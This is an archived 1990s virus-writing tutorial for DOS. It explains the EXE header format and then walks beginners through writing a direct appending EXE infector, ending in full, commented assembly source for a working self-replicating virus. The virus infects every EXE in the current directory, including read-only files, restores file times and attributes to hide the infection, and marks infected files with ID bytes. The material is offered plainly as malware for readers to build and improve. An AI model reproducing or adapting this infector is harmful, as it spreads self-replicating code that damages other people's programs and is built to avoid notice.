home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / VIRDCOLL.ZIP / EXE_TUT.TXT < prev    next >
Text File  |  1997-08-29  |  28KB  |  551 lines

  1.                 ┌──────────────────────────────────────────┐
  2.                 │      Direct EXE infection tutorial       │
  3.                 │            by Virtual Daemon             │
  4.                 └──────────────────────────────────────────┘
  5.  
  6.   Well, here we go again... ;) This time, with something more "advanced"! :P
  7. Now that U've seen how a direct COM virus works, it's time to check out on the
  8. other friend of the programmer: the EXE file. Again, I must tell ya that the
  9. informations provided in this tutorial are only for the beginners corner, so
  10. if U have already made a simple EXE infector, I don't see the point for U to
  11. hang around here anymore... Go away and do somethin more usefull... Clean the
  12. house, cook dinner, drink a beer, go to a movie, or whatever U feel like doin
  13. now, but please .... GO! :)
  14.  
  15.   Ok. Since U're still here, I imagine that U don't know what the hell is an
  16. EXE file, how it works and how to infect it... Well relax, bcoz this little
  17. tutorial will do the trick for U. I'll try to keep it as simple as I can, and
  18. I'll make sure that U will get all this crap. So, hold on in there bcoz U aint
  19. goin nowhere till U get this... :)
  20.  
  21.   First of all, you need to know what is a EXE program, how it works, and what
  22. is it's structure. I wont give you too much technical shit, bcoz U wont
  23. understand it anyway. Don't worry it will come to you later, after you work on
  24. it for a while.
  25.   Well, in my previous tutorial (Direct COM infections) I told you that COM
  26. files are the simplest binary programs, also called memory images. Due to the
  27. restriction of its size (max 64K=size of a segment), the COM programs aren't
  28. used so more this days... The programmer is trying to develop a good software
  29. or a large application and that takes some space. So, here begins our little
  30. trip to the EXEland... :)
  31.  
  32.   COM programs are still used for small, tiny aplications or utilities, but
  33. the true power of a program lies in a EXE file.
  34.  
  35.   "So, how can a EXE program be so different from a COM one?", you wonder...
  36. Well, the main advantage of the EXE program is that it's size isn't limited to
  37. 64k. That means that a EXE program can have any size U want it to have... The
  38. only thing that will stop you is your RAM or your HD!
  39.   Anyway, a program bigger than 64k can't be loaded and executed in a single
  40. segment anymore! Well, this is the most important feature of an EXE file: it can
  41. have more then one segment. So, from now on, U wont be forced to erase parts of
  42. your application, or destroy some of your variables just bcoz you can't put all
  43. your stuff in those 64k and these limits will stop ya... :)
  44.  
  45.   Well, now U know that the EXE files may make use of multiple segments for
  46. code, stack, and data. The design of the EXE file reflects the segmented design
  47. of the Intel 80x86 CPU architecture.
  48.   Another important thing would be that a EXE program can be loaded in any
  49. memory location. This fact impose the adjustement of all your instructions that
  50. contains segment addresses, like:
  51.   ■ JMP/CALL FAR PTR name
  52.   ■ MOV reg, SEG name
  53.   ■ MOV reg_seg, value
  54.   This process is called "relocation" and it's executed when the program loads
  55. in memory. Anyway, this isn't so important for you right now... ;)
  56.  
  57.   Well, it is *ABSOLUTELY* obvious that an EXE program must contain, besides
  58. your program (code) some technical informations about the relocable simbols,
  59. the start address, the address of the stack segment, etc. This informations
  60. are stored in the first part of your EXE file, part called "the EXE header".
  61.   So, a EXE file is separated in 2 parts: the header and the real program.
  62.   Now that you know all this, let's see how does the EXE header looks like:
  63.  
  64.  ┌────────┬──────┬──────────┬───────────────────────────────────────────┐
  65.  │ Offset │ Size │ Contents │               Description                 │
  66.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  67.  │∙  0h   │ Word │ 4Dh  5Ah │ EXE signature (4Dh='M' and 5Ah='Z').These │
  68.  │        │      │          │ 2 ASCII letters (M and Z) stand for Mark  │
  69.  │        │      │          │ Zbikowski, one of the major DOS coders at │
  70.  │        │      │          │ Microsoft. Note: in some cases the MZ can │
  71.  │        │      │          │ be replaced with ZM (5Ah 4Dh)             │
  72.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  73.  │■  2h   │ Word │  PartPag │ Length of file mod (modulo) 512           │
  74.  │        │      │          │length mod 512=nr of bytes in the last page│
  75.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  76.  │■  4h   │ Word │  PageCnt │ Size of the file in 512 byte pages        │
  77.  │        │      │          │ including the header. If the last page is │
  78.  │        │      │          │ not full it is still included in the count│
  79.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  80.  │   6h   │ Word │  ReloCnt │ Number of items in relocation table       │
  81.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  82.  │   8h   │ Word │  HdrSize │ Size of the header in 16-byte paragraphs. │
  83.  │        │      │          │ This is used to locate the beginning of   │
  84.  │        │      │          │ the real program (load module) in the file│
  85.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  86.  │   0Ah  │ Word │  MinMem  │ Minimum memory required above the end of  │
  87.  │        │      │          │ the loaded program in 16-byte paragraphs. │
  88.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  89.  │   0Ch  │ Word │  MaxMem  │ Maximum memory required above the end of  │
  90.  │        │      │          │ the loaded program in 16-byte paragraphs. │
  91.  │        │      │          │ If the minimum and maximum number of      │
  92.  │        │      │          │ paragraphs are both zero, the program will│
  93.  │        │      │          │ be loaded as high in memory as possible.  │
  94.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  95.  │■  0Eh  │ Word │  ReloSS  │ Segment offset of stack segment.(Used for │
  96.  │        │      │          │ setting the SS register)                  │
  97.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  98.  │■  10h  │ Word │   ExeSP  │ Value for SP register (stack pointer) when│
  99.  │        │      │          │ the program is started.                   │
  100.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  101.  │∙  12h  │ Word │ Checksum │ Negative sum of all the words in the file │
  102.  │        │      │          │ ignoring overflow. Good place to store    │
  103.  │        │      │          │ the ID bytes of your virus... :)          │
  104.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  105.  │■  14h  │ Word │   ExeIP  │ Value for IP register (initial instruction│
  106.  │        │      │          │ pointer) when the program is started.     │
  107.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  108.  │■  16h  │ Word │  ReloCS  │ Segment offset of code segment. (Used for │
  109.  │        │      │          │ setting the CS register)                  │
  110.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  111.  │∙  18h  │ Word │  TablOff │ File offset of the relocation table.      │
  112.  │        │      │          │ (Often set to 1Ch)                        │
  113.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  114.  │∙  1Ah  │ Word │ Overlay  │ Overlay marker (0 for base module).       │
  115.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  116.  │   1Ch  │ Byte │    ?     │ (undocumented) Usually equal to 01h, this │
  117.  │        │      │          │ value indicates the size of formatted     │
  118.  │        │      │          │ portion of EXE header.                    │
  119.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  120.  │    ?   │  4*? │ Ofs  Seg │ Relocation table.                         │
  121.  │        │      │   ....   │ Has [EXE+6] DWORD entries.                │
  122.  │        │      │ Ofs  Seg │                                           │
  123.  ├────────┼──────┼──────────┼───────────────────────────────────────────┤
  124.  │    ?   │   ?  │          │ Filler to a paragraph boundry.            │
  125.  └────────┴──────┴──────────┴───────────────────────────────────────────┘
  126. Note: the offsets marked with '■'=important for our virus
  127.                               '∙'=optional for our virus
  128.   Ok. Why important offsets and why optional? Well, the optional offset can
  129. be used for checking different things like:
  130.   - the EXE signature (MZ or ZM) can be used to check if the file you have found
  131.     is really an EXE file and not just a ordinary re-named file;
  132.   - the Checksum from offset 12h can be a good place to store your ID bytes
  133.     (ID bytes=one or two bytes that will "mark" an infected file);
  134.   - the TablOff from offset 18h can be used to check if the file is a normal
  135.     DOS EXE file or if is a PE or NE file. To check this see if the TablOff is
  136.     greater then 64 (40h). If it is then the EXE file is in NE or PE format and
  137.     you wont be able to infect it...
  138.     Important Note: all "normal" Windows EXE files have TablOff equal to '@'!
  139.   - the Overlay word value located at offset 1Ah can be used to check if the
  140.     file has overlays or not. To check this, compare the Overlay with 0. If
  141.     equal then the file doesn't have overlays and all it's ok. If not, then
  142.     the file has internal overlays (in most of the cases) and by infecting it
  143.     you will destroy the informations.
  144.  
  145.   It will be very good if U could do some test with the EXE header, like open
  146. a bunch of EXE files and read some infos from the header (like PartPag and
  147. PageCnt) and then compare them with the real values (the real size of the file).
  148. To find the size of a file use the following formula:
  149.   Size_of_File:=((PageCnt-1)*512)+PartPag
  150.  
  151.   The relocation table contains the addresses of all the words that needs
  152. "adjustement". The relocation table has ReloCnt elements beginning at TablOff
  153. position in the file, and it it's size is ReloCnt*4 bytes.
  154.  
  155.   Now that you know how the EXE files look, let's take a look at how it works.
  156.   The relocation of the program is done by the DOS Exec function (4bh) and
  157. contains the following steps:
  158. 1) Create a PSP via DOS Function 26h
  159. 2) Read 1Ch bytes from the EXE file (the formatted portion of the EXE header)
  160.    into a local memory area
  161. 3) Determine the load module size = ((PageCnt*512)-(HdrSize*16))-PartPag
  162. 4) Determine file offset of load module = (HdrSize*16)
  163. 5) Select a segment address START_SEG for loading (usually PSP+10h)
  164. 6) Read the load module into memory starting at START_SEG:0000
  165. 7) LSEEK (set file pointer) to the start of the relocation table (TablOff)
  166. 8) For each relocation item (ReloCnt):
  167.    - read the item as two 16-bit words (I_OFF,I_SEG)
  168.    - find the address of relocation ref RELO_SEG=(START_SEG+I_SEG)
  169.    - read the current value, the word from address RELO_SEG:I_OFF
  170.    - perform the segment fixup by adding START_SEG to that word
  171.    - store the value back to its original address (RELO_SEG:I_OFF)
  172. 9) Allocate memory for the program according to MinMem and MaxMem
  173. 10) Initialize registers and execute program:
  174.    - ES=DS=PSP
  175.    - SS=START_SEG+ReloSS
  176.    - SP=ExeSP
  177.    - CS=START_SEG+ReloCS
  178.    - IP=ExeIP
  179. Note: the initialization of CS and IP is done by
  180.   PUSH START_SEG+ReloCS
  181.   PUSH ExeIP
  182.   RETF
  183.  
  184.  
  185.   Well, I hope this covers all you wanted and have to know about EXE programs.
  186. Now let's get back to some action...;P First the theory and then the code.
  187.  
  188.   EXE infection isn't that different from COM infection. The main difference
  189. between the 2 types of infection is that the EXE one needs some calculations.
  190. You learned (I hope ;) how a COM virus replicates: save the 1st 3 (or more)
  191. bytes from BOF (beginning of program) in a buffer, go to the EOF (end of file)
  192. and write the virus body, build a JMP instruction with the location to the
  193. end of file (respectively our virus), then write the new JMP to BOF and finally
  194. restore control to original program (host). Well EXE infection is mostly the
  195. same shit. Aehm... here are the steps:
  196.  - read the EXE header (from BOF of course ;) in a buffer (1ch bytes)
  197.  - save from the EXE header some values that will be needed when we'll pass
  198.    control to the original file (ReloSS, ExeSP, ExeIP and ReloCS from 0eh, 10h,
  199.    14h and 16h - respectively SS, SP, IP and CS registers)
  200.  - calculate new values (offsets) for stack segment (SS) and code segment (CS),
  201.    adjust the IP register (see bellow)
  202.  - go to EOF and write the virus body
  203.  - calculate new values for PartPag (offset 02h) and PageCnt (offset 04h)
  204.    (see bellow)
  205.  - go to BOF and overwrite the old header with our new copy
  206.  - pass control to our host by reseting stack to original value and by setting
  207.    the CS:IP to point to original entry point, and DS and ES to point to PSP.
  208.  
  209.   Well, like I said bfor this is just pure theory... I'll try to explain some
  210. of it now, and then we'll get to our real goal... :)
  211.  
  212.   I bet you are wondering what is that bullshit with "calculating new values
  213. for CS:IP"... Well, if we look a little to the EXE header we see what this values
  214. means!
  215.   CS:IP=ReloCS:ExeIP
  216.   ReloCS=offset of code segment... this value represents the offset of the
  217.   program's code. Why are we modifying this? Well, we must make the file to
  218. jump to our virus first, right? This can't be done like we've done it with COMs,
  219. by putting a JMP to beginning of file. All we have to do on EXEs is to make
  220. the ReloCS to point to our virus instead of pointing to the real code.Then,when
  221. the virus has finished its work, we will pass control to the real program by
  222. putting back the old ReloCS value (in memory, not on disk).
  223.   ExeIP=value for IP register when the program is started... But what is this
  224. IP register anyway? The IP register contains the address of the current
  225. instruction. So, we'll modify the IP register to point to our first instruction
  226. from the virus body (the entry point of our virus).
  227.  
  228.   This is the part with the calculation of CS and IP. The SS (stack segment)
  229. register should be equal to CS (code segment), so after you have found out the
  230. value for CS, just equal SS to it too (for calculation, see the virus).
  231.  
  232.   The next important thing that must be modified from the EXE header is PartPag
  233. and PageCnt. Since the file has grown in size, we must re-calculate the file
  234. size and we must overwrite offsets 2 and 4 with the new values.
  235.  
  236.   That's all... It's easy isn't it?
  237.   Now... the virus! If you don't get something from above, now it's the chance
  238. for you to understand.
  239.   Btw, this isn't the simplest EXE infector... it's just the simplest DECENT
  240. EXE infector. All the code is well commented, so you shouldn't have any problem
  241. understanding it.
  242.  
  243.   All the steps are directly written in the virus code... It's easier to get it
  244. this way, believe me!
  245.  
  246.   Well, here it is... it's not my best, but i'm sure it's hell enough for you
  247. to learn the basic EXE appender. The code is not very well optimized... well,
  248. I guess that this is ur job! :-)) Bugs? Hmm... don't know any... if there are,
  249. learn by correcting them. ;)
  250.  
  251.    Have fun!
  252. ---------- cut here ----------
  253. ; Name: Example
  254. ; Type: Direct appending EXE infector
  255. ; Size: 472 bytes
  256. ; Comments: the virus will search for EXE files in current directory. If no
  257. ;          filles are found, the virus will restore control to its host. If
  258. ;          it founds EXEs, he will try to infect the first one. If the file
  259. ;          has been already infected, he will close the file and search for
  260. ;          another one. The cycle will repeat untill all the EXE filles from
  261. ;          current directory are infected.
  262. ;          The virus infects read-only filles and restore time/date/attributes.
  263. ;          The virus will check too see if: - the file is really EXE (MZ scan)
  264. ;                                           - the file is a Windows EXE
  265. ;                                           - the file has internal overlays
  266. ; Assembled with: tasm example.asm
  267. ;                 tlink /t example.obj
  268. code segment
  269.    assume cs:code,ds:code
  270.    org 100h                      ;starts at 100h => 1st host will be a COM file
  271. virus_start:
  272.    db 0e9h,3,0                   ;jump to begin
  273. our_host:
  274.    db 0cdh,20h,0                 ;=Int 20h
  275. begin:
  276.    call find_offset
  277. find_offset:
  278. ; ──────────────────── Step 1 - Calculate the DELTA offset ────────────────────
  279.    pop bp                        ;bp holds IP at start
  280.    sub bp,offset find_offset     ;=>bp=delta offset
  281.  
  282.    push ds es                    ;save original DS and ES
  283.  
  284.    push cs 
  285.    pop ds                        ;CS=DS
  286.  
  287. ; ───────────────── Step 2 - Save parts of the header on stack ────────────────
  288. ; _cs is the offset used by our JMP instruction to return to the host
  289. ; exe_cs is the original CS register
  290.    mov ax,word ptr [bp+exe_cs]   ;equal _cs with exe_cs
  291.    mov word ptr [bp+_cs],ax
  292.  
  293. ;save CS:IP and SS:SP on stack
  294.    push [bp+exe_cs]              ;save CS
  295.    push [bp+exe_ip]              ;save IP
  296.    push [bp+exe_ss]              ;save SS
  297.    push [bp+exe_sp]              ;save SP
  298.  
  299. ; ────────────────────────── Step 3 - Set a new DTA ───────────────────────────
  300.    mov ah,1ah                    ;DOS function=Set Disk Transfer Address
  301.    lea dx,[bp+offset dta]        ;set a new DTA buffer
  302.    int 21h
  303.  
  304. ; ───────────────────────── Step 4 - Find a EXE file ──────────────────────────
  305.    mov ah,4eh                    ;DOS function=Find 1st Matching File
  306.    lea dx,[bp+filespec]          ;search for "filespec" files only (*.EXE)
  307.    mov cx,7                      ;any file attribute
  308. do_it:
  309.    int 21h
  310.    jnc next_step                 ;if no error, continue
  311.    jmp exit                      ;if error then pass control to host
  312. next_step:
  313. ; ─────────────────────── Step 5 - Get file attributes ────────────────────────
  314.    mov ax,4300h                  ;DOS function=Get File Attributes
  315.    lea dx,[bp+offset dta+1eh]    ;get file name from DTA (offset 1eh)
  316.    int 21h
  317.    mov word ptr [bp+file_attr],cx      ;save the file attributes
  318.  
  319. ; ───────────────── Step 6 - Set new attributes (archive only) ────────────────
  320.    mov ax,4301h                  ;DOS function=Set File Attributes
  321.    lea dx,[bp+offset dta+1eh]    ;get file name from DTA (offset 1eh)
  322.    xor cx,cx                     ;set archive only attributes
  323.    int 21h
  324.  
  325. ; ─────────────────── Step 7 - Open file for RW (read-write) ──────────────────
  326.    mov ax,3d02h                  ;DOS function=Open File For Read-Write
  327.    lea dx,[bp+offset dta+1eh]    ;get file name from DTA (offset 1eh)
  328.    int 21h
  329.    jnc continue                  ;if no error, continue
  330.    jmp abort                     ;if error put old attributes and search for
  331.                                  ;another file
  332. continue:
  333.    xchg bx,ax                    ;put file handle in bx
  334.  
  335. ; ──────────────────────── Step 8 - Get file time/date ────────────────────────
  336.    mov ax,5700h                  ;DOS function=Get File Time/Date
  337.    int 21h
  338.    mov word ptr [bp+file_time],cx      ;save file time
  339.    mov word ptr [bp+file_date],dx      ;save file date
  340.  
  341. ; ──────────────────────── Step 9 - Read the Exe header ───────────────────────
  342.    mov ah,3fh                    ;DOS function=Read From File
  343.    mov cx,1ch                    ;read the EXE header (1ch bytes)
  344.    lea dx,[bp+offset header]     ;store it into our 'header' buffer
  345.    int 21h
  346.  
  347. ; ───────────────── Step 10 - Check if the file is a real EXE ─────────────────
  348.    cmp word ptr [bp+header],'ZM' ;check if the 1st 2 bytes are MZ or ZM
  349.    je infect
  350.    cmp word ptr [bp+header],'MZ'
  351.    je infect
  352.    jmp another                   ;if not equal then the file isn't a real EXE
  353.                                  ;it's just a re-named file
  354. infect:
  355. ; ────────────── Step 11 - Check if the file is already infected ──────────────
  356.    cmp word ptr [bp+header+10h],'DV'   ;check for our ID bytes
  357.    jne done
  358.    jmp another                   ;if equal then the file has already been
  359.                                  ;infected
  360. done:
  361. ; ─────────────── Step 12 - Check if the file is a Windows EXE ────────────────
  362. ;Note: you could also check for NE or PE by comparing if greater then 64
  363.    cmp byte ptr [bp+header+18h],'@'    ;check to see if the file is a WinEXE
  364.    jne no_win
  365.    jmp another                   ;oups... WinEXE here. We can't infect it this
  366.                                  ;way...
  367. no_win:
  368. ; ───────────── Step 13 - Check if the file has internal overlays ─────────────
  369.    cmp word ptr [bp+header+1ah],0      ;check for internal overlays
  370.    je no_overlay
  371.    jmp another
  372. no_overlay:
  373.    push bx                       ;save file handle
  374.  
  375. ; ────────────── Step 14 - Save important parts from the header ───────────────
  376.    mov ax,word ptr [bp+header+0eh]      ;save SS
  377.    mov word ptr [bp+exe_ss],ax
  378.    mov ax,word ptr [bp+header+10h]      ;save SP
  379.    mov word ptr [bp+exe_sp],ax
  380.    mov ax,word ptr [bp+header+14h]      ;save IP
  381.    mov word ptr [bp+exe_ip],ax
  382.    mov ax,word ptr [bp+header+16h]      ;save CS
  383.    mov word ptr [bp+exe_cs],ax
  384.  
  385. ; ─────────────────── Step 15 - Seek to EOF (end of file) ─────────────────────
  386.    mov ax,4202h                  ;DOS function=Set File Pointer (Seek) to EOF
  387.    xor cx,cx
  388.    cwd
  389.    int 21h
  390.  
  391.    push ax dx                    ;ax and dx holds the file size
  392.  
  393. ; ──────────────── Step 16 - Calculate the new CS:IP address ──────────────────
  394. ;
  395. ; Short theory
  396. ; ────────────
  397. ;
  398. ;  We need to get the size of the EXE header in paras. Then we have to convert
  399. ; it into bytes (by multiplying with 16). After this, we have to substract the
  400. ; header size from the file size, and then to put it back into the seg:ofs form.
  401. ; We accomplish this by divideing with 16.
  402. ;
  403.    mov bx,word ptr [bp+header+8h]      ;get the size of the header in para
  404. ;a paragraph is 16 bytes and we need the size in bytes, so we multiply by 16
  405.    mov cl,4
  406.    shl bx,cl                     ;shl will rotate the bits to left with 4
  407.                                  ;positions. this is the same result as
  408.                                  ;multiplying with 16.
  409. ;now, BX is equal to length of header in bytes
  410. ;AX holds the filesize (low word)
  411.    sub ax,bx                     ;now we substract the size of the header from
  412.                                  ;the size of the file
  413.    sbb dx,0                      ;if CF is set it will substract 1, else 0
  414. ;now, DX:AX will contain the file size-the size of the header
  415.  
  416. ;we must convert the DX:AX to segment:offset form because now it's just a value
  417. ;for converting to segment:offset we must divide by 16 (it's obvious why...we
  418. ;multiplyed by 16 when we had to trasform into bytes... now we're going back)
  419.    mov cx,10h                    ;cx=10h=16
  420.  
  421.    div cx                        ;divide by 16
  422. ; AX=(DX:AX)  /  16
  423. ; DX=(DX:AX) mod 16
  424. ;now, the DX:AX contains the CS:IP entry point (stored backwards - IP:CS)
  425.  
  426. ;save the new CS:IP in the header buffer. also save the SS and put our ID bytes.
  427.    mov word ptr [bp+header+14h],dx     ;put the offset (ExeIP)=new entry point
  428.    mov word ptr [bp+header+16h],ax     ;put the segment offset of code seg
  429.    mov word ptr [bp+header+0eh],ax     ;put the segment offset of stack seg
  430.    mov word ptr [bp+header+10h],'DV'   ;put our ID bytes at 10h
  431. ; blah... you could use 12h (ChkSum) instead of 10h...
  432.  
  433.    pop dx ax bx                  ;restore original file size and file handle
  434.  
  435. ; ────────── Step 17 - Calculate new values for PartPag and PageCnt ───────────
  436. ;
  437. ; Short theory
  438. ; ────────────
  439. ;
  440. ;   This one is simple. All we have to do, is to add the size of our virus
  441. ; to the size of the file, and then to convert it into pages by divideing with
  442. ; 512.
  443. ;
  444.  
  445. ; AX and DX holds the file size
  446.    add ax,heap-begin             ;add the virus size to the original file size
  447.    adc dx,0                      ;if CF add 1, else 0
  448.    mov cx,512                    ;convert the result into pages by divideing
  449.    div cx                        ;with 512
  450.    inc ax                        ;add one for rounding up
  451.    mov word ptr [bp+header+4],ax       ;put new PageCnt
  452.    mov word ptr [bp+header+2],dx       ;put new PartPag
  453.  
  454. ; ─────────────────── Step 18 - Write the virus body to EOF ───────────────────
  455.    mov ah,40h                    ;DOS function=Write To File
  456.    mov cx,heap-begin             ;cs=size to write=size of our virus
  457.    lea dx,[bp+offset begin]      ;start from "begin"
  458.    int 21h
  459.  
  460. ; ───────────────── Step 19 - Seek to BOF (beginning of file) ─────────────────
  461.    mov ax,4200h                  ;DOS function=Set File Pointer (Seek) to BOF
  462.    xor cx,cx
  463.    cwd
  464.    int 21h
  465.  
  466. ; ────────────────────── Step 20 - Write the new header ───────────────────────
  467.    mov ah,40h                    ;DOS function=Write To File
  468.    mov cx,1ch                    ;cx=size to write=size of the EXE header
  469.    lea dx,[bp+offset header]     ;write from "header" buffer
  470.    int 21h
  471.  
  472. ; ───────────────── Step 21 - Restore original file time/date ─────────────────
  473.    mov dx,word ptr [bp+file_date]      ;dx=original date value
  474.    mov cx,word ptr [bp+file_time]      ;cx=original time value
  475.    mov ax,5701h                  ;DOS function=Set File Time/Date
  476.    int 21h
  477. another:
  478. ; ───────────────────────── Step 22 - Close the file ──────────────────────────
  479.    mov ah,3eh                    ;DOS function=Close File
  480.    int 21h
  481. abort:
  482. ; ─────────────────── Step 23 - Restore original attributes ───────────────────
  483.    mov ax,4301h                  ;DOS function=Set File Attributes
  484.    lea dx,[bp+offset dta+1eh]    ;get file name from DTA
  485.    mov cx,word ptr [bp+file_attr]      ;restore original attributes
  486.    int 21h
  487.  
  488. ; ──────────────────── Step 24 - Search for a new EXE file ────────────────────
  489.    mov ah,4fh                    ;DOS funtion=Find Next Matching File
  490.    lea dx,[bp+filespec]          ;search for "filespec" files only (*.EXE)
  491.    jmp do_it
  492. exit:
  493. ; ───────────── Step 25 - Restore parts of the header from stack ──────────────
  494. ;restore CS:IP and SS:SP from stack
  495.    pop [bp+exe_sp]               ;restore SP
  496.    pop [bp+exe_ss]               ;restore SS
  497.    pop [bp+exe_ip]               ;restore IP
  498.    pop [bp+exe_cs]               ;restore CS
  499. ; ───────────────────────── Step 26 - Restore the DTA ─────────────────────────
  500.    mov ah,1ah   ;DOS function=Set Disk Transfer Address
  501.    mov dx,80h   ;change the DTA to original (DTA is stored at 80h in the PSP)
  502.    int 21h
  503.  
  504.    pop es ds                     ;restore ES and DS registers
  505.  
  506. ; ─────────────────── Step 27 - Restore control to the host ───────────────────
  507.    mov ax,es    ;ax will point to PSP
  508.    add ax,10h   ;skip over PSP (ax<-PSP+10h)
  509.    add word ptr cs:[bp+_cs],ax
  510.  
  511. ; _ip is one of the offsets for our jump to return to the host
  512. ; see step 2 for setting CS
  513.    mov bx,word ptr cs:[bp+exe_ip]      ;make _ip equal with exe_ip
  514.    mov word ptr cs:[bp+_ip],bx
  515.  
  516.    cli                           ;clear interrupt flag
  517.    mov sp,word ptr cs:[bp+exe_sp]      ;adjust ExeSP
  518.    add ax,word ptr cs:[bp+exe_ss]      ;restore the stack
  519.    mov ss,ax                     ;adjust ReloSS
  520.    sti                           ;set interrupt flag
  521.  
  522.    xor ax,ax    ;clear registers: ax,bx,cx,dx,si,di
  523.    xor bx,bx
  524.    xor cx,cx
  525.    xor dx,dx
  526.    xor di,di
  527.    xor si,si
  528.    xor bp,bp
  529.  
  530.    db 0eah                       ;jmp far ptr seg:ofs (CS:IP)
  531. _ip          dw 0                ;IP and CS registers used as offset for
  532. _cs          dw 0                ;db 0eah (JMP) instruction
  533.  
  534. ;these are the original values for CS:IP and SS:SP
  535. exe_cs       dw 0fff0h           ;CS:IP
  536. exe_ip       dw 0
  537. exe_sp       dw 0                ;SS:SP
  538. exe_ss       dw 0
  539. filespec     db '*.exe',0
  540. heap:                        ;this is the end of the virus
  541. file_attr    dw ?
  542. file_time    dw ?
  543. file_date    dw ?
  544. header       db 1ch dup (?)
  545. dta          db 43 dup (?)
  546. code ends
  547. end virus_start
  548. ---------- cut here ----------
  549.  
  550.   You can reach me via e-mail at: virtual_daemon@hotmail.com
  551.